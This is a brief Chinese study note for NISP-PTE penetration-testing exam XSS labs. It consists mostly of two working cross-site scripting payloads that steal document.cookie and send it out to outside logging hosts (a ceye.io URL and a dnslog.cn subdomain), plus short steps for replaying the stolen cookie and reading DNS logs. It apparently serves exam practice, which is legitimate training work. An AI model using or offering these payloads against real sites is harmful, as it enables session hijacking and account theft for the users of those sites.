NISP-PTE基础实操——XSS

pteXSS模拟1

<script>
var img
=document.createElement("img");img.src="http://xxxxx.ceye.io/log?"+escape(document.coo
kie);document.body.appendChild(img);
</script>

重放加Cookie头

pteXSS模拟2

<script type="text/javascript">

var arr=document.cookie.split(/[;=]/);var url="http://"+arr[1]+".e0nv60.dnslog.cn/xxx.png";document.write('<img src="'+url+'"/>');

</script>

提交表单并刷新看dns返回记录

DNSLog Platform

pteXSS模拟3

尝试发现是除了大写外过滤